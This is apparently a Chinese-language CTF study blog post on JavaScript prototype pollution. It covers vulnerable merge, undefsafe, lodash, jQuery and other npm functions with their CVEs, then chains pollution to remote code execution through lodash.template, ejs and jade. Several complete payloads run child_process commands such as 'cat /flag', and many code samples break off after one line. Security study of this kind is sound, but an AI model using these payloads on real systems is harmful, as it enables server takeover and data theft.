my prototype pollution attack
前言
这里来简单说一下我总结到的 JS 的各种概念。
JS 中是万物皆对象的,JS中函数的概念和其他大部分语言的概念是不一样的。在 JS 中,函数的创建有非常多的方式,这里可以看到 这篇文章 ,这还是正常的原生 JS 中的创建一个函数的方式,JS 语言是非常灵活的,但是灵活的背后正是一系列复杂的概念的支撑。
JS 会在创建一个函数的时候自动为函数添加 prototype 属性,该属性的值是一个具有 constructor 属性的对象。
一旦我们把这个函数作为构造函数调用(即 new 关键字)就是实例化,JS 会创建该构造函数的实例,实例继承构造函数 prototype 的所有属性和方法,表现上会有一定的不同(比如实例会通过设置自己的 __proto__
指向构造函数的 prototype 来实现这种继承),这和常见的面向对象变成是很不一样的。
可以这个图辅助理解上面的话。
我们在原型链污染的时候,要做的就是通过 __proto__
不断向上找到最初的 Object ,然后通过控制它的属性来实现对所有继承自它的函数以及函数的实例进行污染,进而通过污染将我们的恶意代码写入,接下来通过对代码进行审计来寻找命令执行的点,比如遍历来进行执行命令的操作;或者污染某些空的属性,来通过对其赋值来实现任意的命令执行:
{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""} |
或者实现一些其他有利于我们实现恶意攻击的操作,比如将 admin 更改为 1。
用到多的实际上还是 RCE,在能够通过原型链污染来控制属性之后也就会有很多的 RCE 的机会了,这里我将他们归为两步,第一步就是原型链污染,第二步则是后续的去实现 RCE 的部分。
prototype pollution attack 1
也就是第一步,原型链污染,发现这里的 CVE 实在是太多了…
npm 是会给用户提示的:
Merge 类操作导致原型链污染
原型链污染主要的思想实际上就是寻找能够 操纵键值 的位置,然后利用 proto 来往上进行污染。
const merge = (a, b) => { // 发现 merge 危险操作 |
merge clone 这两个方法是 P牛 在文章中就提出来的,实际上在真实的环境中也是经常会被用到的,这里我们可以看到上面的示例代码,取自 [GYCTF2020]Ez_Express 这道题目。
题目中,我们使用了 merge 方法来进行操作处理,merge 方法用在 merge 操作以及 clone 操作中,来自于 merge 类。
我们利用 merge 来合并两个复杂的对象,用 clone 来创建一个与现在的对象相同的对象,可以想象到,这两个方法在变相对象的时候会有多么的实用
function merge(target, source) { |
"__proto__"
这里还涉及到 JSON 解析的问题,具体可以看 P牛博客 ,我们还要感谢 HTTP 为我们提供了 Content-Type 设为 application/json 的机会
function merge(target, source) { |
clone 实际上也是一样的
这里补充一下 JS 中的执行系统命令
t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"} |
这是我们拼接进原型链污染内执行命令的内容,这里涉及到了 JS 沙箱的绕过,后续单独开一篇学习,参考文章。
merge.recursiveMerge CVE-2020-28499
此 CVE 影响 2.1.1 以下的 merge 版本
测试代码:
const merge = require('merge'); |
结果如下
原因在于这里,又让我们可以控制键值了
修复
Undefsafe 模块原型链污染(CVE-2019-10795)
var object = { |
可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时则会得到报错:
在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决这个问题:
还有一个功能,在对对象赋值时,如果目标属性存在其可以帮助我们修改对应属性的值:
如果当属性不存在时,我们想对该属性赋值:
访问属性会在上层进行创建并赋值
漏洞
通过以上演示我们可知,undefsafe 是一款支持设置值的函数,不过在 undefsafe 模块在小于2.0.3版本,这个功能处存在原型链污染漏洞(CVE-2019-10795)。
我们在 2.0.3 版本中进行测试:
var a = require("undefsafe"); |
但是如果在低于 2.0.3 版本运行,则会得到如下输出:
可见,当 undefsafe() 函数的第 2,3 个参数可控时,我们便可以污染 object 对象中的值。
var a = require("undefsafe"); |
返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:
var a = require("undefsafe"); |
Lodash 模块原型链污染
Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。并且是一个流行的 npm 库,仅在GitHub 上就有超过 400 万个项目使用,Lodash的普及率非常高,每月的下载量超过 8000 万次。但是这个库中有几个严重的原型污染漏洞。
lodash.defaultsDeep 方法 CVE-2019-10744
2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。
Lodash 库中的 defaultsDeep
函数可能会被包含 constructor
的 Payload 诱骗添加或修改Object.prototype
。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:
const mergeFn = require('lodash').defaultsDeep; |
我们在 mergeFn({}, JSON.parse(payload));
处下断点,单步结束后可以看到:
此时我们已经污染到原型了。
我们可以看一下修复的方法:
可以看到,safeGet 中新增了对 constructor 的检测赖确保我们不能通过恶意的输入来进行污染,下面新增的 test 是为了测试会不会发生 constroctor 的问题,双重保险。
lodash.merge 方法 CVE-2018-3721
lodash.merge 就不需要多说了,这里实际上和我们前面的 merge 是一样的。这里我们可以去研究一下它的源码:
merge 方法是基于 baseMerge 的,我们来到 baseMerge 处
可以看到,这里实际上也没有进行 merge 的操作,而是进行了一系列的 if ,进行了整理与划分。
我们 merge 的对象一定是 object ,我们会在 第二处 if 处进入,来到 baseMergeDeep 方法。
可以看到,我们首先要进入到 baseAssignValue
这里的 if 判断可以绕过,最终进入 object[key] = value
的赋值操作,这里对键值进行了操作们也就是说我们可以利用这里来实现原型链污染了。
POC:
var lodash= require('lodash'); |
POC 测试,lodash.merge({}, JSON.parse(payload));
lodash.mergeWith 方法 CVE-2018-16487
POC:
var lodash= require('lodash'); |
这里就不进行进一步分分析了,几乎可以说是和 merge 一模一样
lodash.set 方法 以及 setWith 方法 CWE-400
POC:
lod = require('lodash') |
lodash.zipObjectDeep 方法 CVE-2020-8203
影响版本 < 4.17.20
const _ = require('lodash'); |
这里关于影响版本的问题,很玄学,不能简单的相信 CVE 上所标注好的。
其他小众原型链污染
safe-obj 原型链污染 CVE-2021-25928
POC:
var safeObj = require("safe-obj"); |
safe-falt 原型链污染 CVE-2021-25927
POC:
var safeFlat = require("safe-flat"); |
jQuery 原型链污染 CVE-2019-11358
POC:
var jquery = document.createElement('script'); |
这里注意,大坑。
npm 是区分大小写的,我们的 jquery 在镜像库中是全小写的,虽然它的产品名里有大写。
当然,肯定会有更多更多,大佬们当时肯定是三下五除二写好脚本,开着自己的扫描就冲去挖 CVE 了。
console.table 原型链污染 CVE-2022-21824
Node.js < 12.22.9, < 14.18.3, < 16.13.2, and < 17.3.1
POC:
console.table([{a:1}], ['__proto__']) |
prototype pollution attack 2
到了第二步,我们就要 to RCE 了
配合 lodash.template 实现 RCE
Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置。 详情请看:http://lodash.think2011.net/template
在 Lodash 的原型链污染中,为了实现代码执行,我们常常会污染 template 中的 sourceURL
属性
我们可以看到对 shourceURL 的定义,可以看到 sourceURL 属性是通过一个三目运算法赋值,其默认值为空
再看到调用
显然,这里是一个危险的操作, sourceURL 被拼接进了 函数构造里,作为第二个参数,我们可以利用这里来实现任意的代码执行。
这里要注意的是 Function 内是没有 require 函数的,我们不能直接使用 require('child_process')
,但是我们可以使用 global.process.mainModule.constructor._load
这一串来代替,后续的调用就很简单了。
\u000areturn e => {return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"} |
配合 ejs 模板引擎实现 RCE CVE-2022-29078
Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。
测试
app.js
var express = require('express'); |
index.ejs
<!DOCTYPE html> |
对原型链进行污染的部分就是这里的 lodash.merge 操作,我们通过对 outputFunctionName 进行 原型链污染 后的赋值来实现 RCE ,语句为
"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'cat /flag\');var __tmp2" |
我们调试一下这个过程
我们从 response.js 进入了 application.js
至此,调用了 engine,正式进入 ejs.js,发现 renderFile 的最后又调用到了 tryHandleCache
,跟进
继续跟进,从这里进入了 handleCache
然后在 handleCache
方法中进入 compile
方法,这是我们渲染模板所使用的方法
进入 Template 方法,然后 return templ.compile();
,来到 compile: function ()
在这里我们可以看到大量的渲染拼接,我们要利用的 outputFunctionName
就在其中
最终我们原型链污染后的内容被送进了 VM 中执行
配合 jade 模板引擎实现 RCE
jade 模板引擎也可以帮助我们实现 原型链污染 to RCE ,这里实际上就是 SSTI,我们可以在这篇 经典的文章 中看到它。
直接给出最终的 POC
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}} |